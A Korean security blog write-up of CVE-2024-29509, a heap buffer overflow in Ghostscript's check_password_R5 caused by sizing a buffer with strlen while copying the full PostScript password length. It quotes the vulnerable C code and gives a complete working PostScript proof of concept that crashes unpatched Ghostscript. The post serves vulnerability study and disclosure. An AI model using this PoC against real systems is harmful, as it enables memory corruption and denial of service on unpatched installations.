[하루한줄] CVE-2024-29509: Artifex Ghostscript PDFPassword 처리 과정에서 발생하는 Heap Buffer Overflow

URL

https://codeanlabs.com/blog/research/ghostscript-wrap-up-overflowing-buffers/

Target

  • Ghostscript < 10.03.0

Explain

Ghostscript는 PDF 해석 기능을 제공하며, PDF 문서가 암호화된 경우 이를 해독하기 위해 PDFPassword 문자열을 사용합니다. 특히, PDF 표준에서 정의된 여러 암호화 방식 중 하나인 R5(RC4 128비트 암호화)를 사용할 경우 check_password_R5(...) 함수가 호출됩니다.

static int check_password_R5(pdf_context *ctx, char *Password, int PasswordLen, int KeyLen)
{
    int code;

    if (PasswordLen != 0) {
        pdf_string *P = NULL, *P_UTF8 = NULL;

        code = check_user_password_R5(ctx, Password, PasswordLen, KeyLen);
        if (code >= 0)
            return 0;

        code = check_owner_password_R5(ctx, Password, PasswordLen, KeyLen);
        if (code >= 0)
            return 0;

        /* If the supplied Password fails as the user *and* owner password, maybe its in
         * the locale, not UTF-8, try converting to UTF-8
         */
        code = pdfi_object_alloc(ctx, PDF_STRING, strlen(ctx->encryption.Password), (pdf_obj **)&P);
        if (code < 0)
            return code;
        memcpy(P->data, Password, PasswordLen);
        pdfi_countup(P);
        code = locale_to_utf8(ctx, P, &P_UTF8);
        if (code < 0) {
            pdfi_countdown(P);
            return code;
        }
        code = check_user_password_R5(ctx, (char *)P_UTF8->data, P_UTF8->length, KeyLen);
        if (code >= 0) {
            pdfi_countdown(P);
            pdfi_countdown(P_UTF8);
            return code;
        }

        code = check_owner_password_R5(ctx, (char *)P_UTF8->data, P_UTF8->length, KeyLen);
        pdfi_countdown(P);
        pdfi_countdown(P_UTF8);
        if (code >= 0)
            return code;
    }
    code = check_user_password_R5(ctx, (char *)"", 0, KeyLen);
    if (code >= 0)
        return 0;

    return check_owner_password_R5(ctx, (char *)"", 0, KeyLen);
}

해당 check_password_R5(...) 함수는 입력된 PDFPassword를 사용자 및 소유자 비밀번호로 확인한 후, 실패할 경우 UTF-8 변환을 시도합니다.

이 과정에서 취약점이 발생했습니다.

  1. 비밀번호 검증 실패 후, UTF-8 변환 시도
    • 처음 입력된 비밀번호가 올바르지 않을 경우, 두 번째 시도를 위해 UTF-8로 변환됩니다.
    • 이때, locale_to_utf8(...) 함수가 호출되기 전에 비밀번호가 새로 할당된 버퍼에 memcpy(...) 됩니다.
  2. 할당 크기(strlen(...))와 복사 크기(PasswordLen) 불일치 문제 발생
    • 할당된 크기: strlen(ctx->encryption.Password)
      • strlen(...)첫 번째 널 바이트(null-byte)를 만나면 문자열의 길이를 결정합니다.
    • 복사되는 크기: PasswordLen
      • PasswordLenPDFPassword PostScript 문자열의 실제 크기입니다.
      • PostScript 문자열은 널 바이트(null-byte)를 포함할 수 있으며, 크기가 별도로 저장됩니다.
  3. 버퍼 크기보다 많은 데이터가 복사되며 힙 버퍼 오버플로우 발생
    • PostScript 문자열이 널 바이트를 포함하는 경우, strlen(...)이 실제 길이를 제대로 계산하지 못하고 버퍼 크기를 작게 할당할 수 있습니다.
    • 이후 memcpy(...)에서 PasswordLen(실제 비밀번호 크기)만큼 복사할 때 버퍼 크기를 초과하여 데이터가 복사되면서 힙 버퍼 오버플로우(Heap Buffer Overflow) 가 발생할 수 있습니다.

저장되는 데이터를 토대로 설명하자면 아래와 같습니다.

  1. \000 은 PostScript에서 null 바이트를 인코딩합니다.
/PDFPassword (hello\000world)def
  1. 길이가 11인 PostScript 문자열이지만 strlen은 길이가 5인 것으로 간주합니다.
  2. 즉, memcpy는 다음과 같습니다.
//      char[5]    "hello\000world"   11
memcpy(P->data,    Password,          PasswordLen);

이에 따라 PostScript 코드에서 PDFPassword“hello\000world”로 설정되며, 이는 PostScript 문자열로 길이가 11이지만, strlen(...)은 첫 번째 null-byte를 만나 5를 반환하게 됩니다. 결과적으로 5바이트 크기의 버퍼가 할당된 상태에서 11바이트 데이터를 복사하게 되어 버퍼 오버플로우가 발생합니다.

PoC

취약점을 트리거하는 poc 코드로, PostScript로 작성되었습니다.

1. 취약점 유발 PDF 파일 생성

/Payload (%PDF-1.7
1 0 obj << /CF << /StdCF << /AuthEvent /DocOpen /CFM /AESV3 /Length 32 >> >>
/Filter /Standard /Length 256
/O <bdc7906c8e8074c880ac23065956c0db6a83d234a942d296364d065edf800b8e32a728ba6916718fbeb70e071a4a33ba>
/OE <7c88773da067c026cc58b5204106d54e320d509ab1d10ac3251f7a14e60d6970>
/P -1028 /Perms <1b6bd44c023964a469d801f598c8d5c4> /R 5 /StmF /StdCF /StrF /StdCF
/U <338dc89fb4a90d45cacf91298759e015a6fb0d3f132af0e6970a0079af12054554e7ab059c5392f9abce8a329b2b154b>
/UE <0d8b18de820855c5855de2560a81db57bb4674946bdf2b25eb6b901386492bd7> /V 5 >>
endobj xref 0 1 0000000000 65535 f 0000000009 00000 n trailer << /Encrypt 1 0 R >> startxref 0) def
  • 위 코드는 간단한 PDF 파일을 PostScript 내에서 생성하는 부분입니다.
  • PDF의 암호화 버전(R 5) 을 지정하고, AES 암호화를 사용하는 문서를 만듭니다.
  • 이 파일 자체는 완전한 PDF가 아니지만, 암호 해독 로직에 도달할 수 있도록 구성되어 있습니다.

2. PDF 데이터를 파일에 저장

/OutFile (/tmp/out) (w) file def
OutFile Payload writestring
OutFile closefile
  • 생성한 PDF 데이터를 /tmp/out 파일에 저장하는 부분입니다.
  • Ghostscript가 실행될 때, 이 파일을 해석하도록 유도하는 역할을 합니다.

3. 비밀번호 설정 (취약점 트리거)

/PDFPassword (hello\000BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB) def
  • PDFPassword특정 문자열로 설정하는 부분입니다.
  • 비밀번호로 "hello\000BBBB..."를 사용합니다.
    • hello\000"hello" 뒤에 NULL 바이트(\000) 가 포함됨
    • BBBB...버퍼 크기보다 큰 데이터 (취약점 트리거)
  • 이 값은 이후 PDF 해석 과정에서 check_password_R5(...) 함수로 전달됩니다.

4. Ghostscript PDF 해석 실행 (취약점 트리거)

(/tmp/out) (r) file runpdf
  • /tmp/out에 저장된 PDF 파일을 실행하도록 Ghostscript에게 명령합니다.
  • 이 과정에서 암호 해독 로직이 실행되며, 취약점이 발생합니다.

5. PoC 실행 및 전체 코드

  • PoC 실행
$ ghostscript -dNODISPLAY poc.ps
GPL Ghostscript 10.02.0 (2023-09-13)
Copyright (C) 2023 Artifex Software, Inc.  All rights reserved.
This software is supplied under the GNU AGPLv3 and comes with NO WARRANTY:
see the file COPYING for details.
zsh: segmentation fault (core dumped)  ghostscript -dNODISPLAY poc.ps
  • 전체 PoC 코드
% Simple PDF with R5 encryption.
% This is not a very valid PDF but we only need to reach the decryption logic
/Payload (%PDF-1.7
1 0 obj << /CF << /StdCF << /AuthEvent /DocOpen /CFM /AESV3 /Length 32 >> >>
/Filter /Standard /Length 256
/O <bdc7906c8e8074c880ac23065956c0db6a83d234a942d296364d065edf800b8e32a728ba6916718fbeb70e071a4a33ba>
/OE <7c88773da067c026cc58b5204106d54e320d509ab1d10ac3251f7a14e60d6970>
/P -1028 /Perms <1b6bd44c023964a469d801f598c8d5c4> /R 5 /StmF /StdCF /StrF /StdCF
/U <338dc89fb4a90d45cacf91298759e015a6fb0d3f132af0e6970a0079af12054554e7ab059c5392f9abce8a329b2b154b>
/UE <0d8b18de820855c5855de2560a81db57bb4674946bdf2b25eb6b901386492bd7> /V 5 >>
endobj xref 0 1 0000000000 65535 f 0000000009 00000 n trailer << /Encrypt 1 0 R >> startxref 0) def

% Write the PDF data to a temporary file
/OutFile (/tmp/out) (w) file def
OutFile Payload writestring
OutFile closefile

% Set the PDFPassword to a buffer whose length is larger than its strlen
/PDFPassword (hello\000BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB) def

% Run the PDF interpreter on the file
(/tmp/out) (r) file runpdf

% 종료
showpage
quit

Reference

https://nvd.nist.gov/vuln/detail/CVE-2024-29509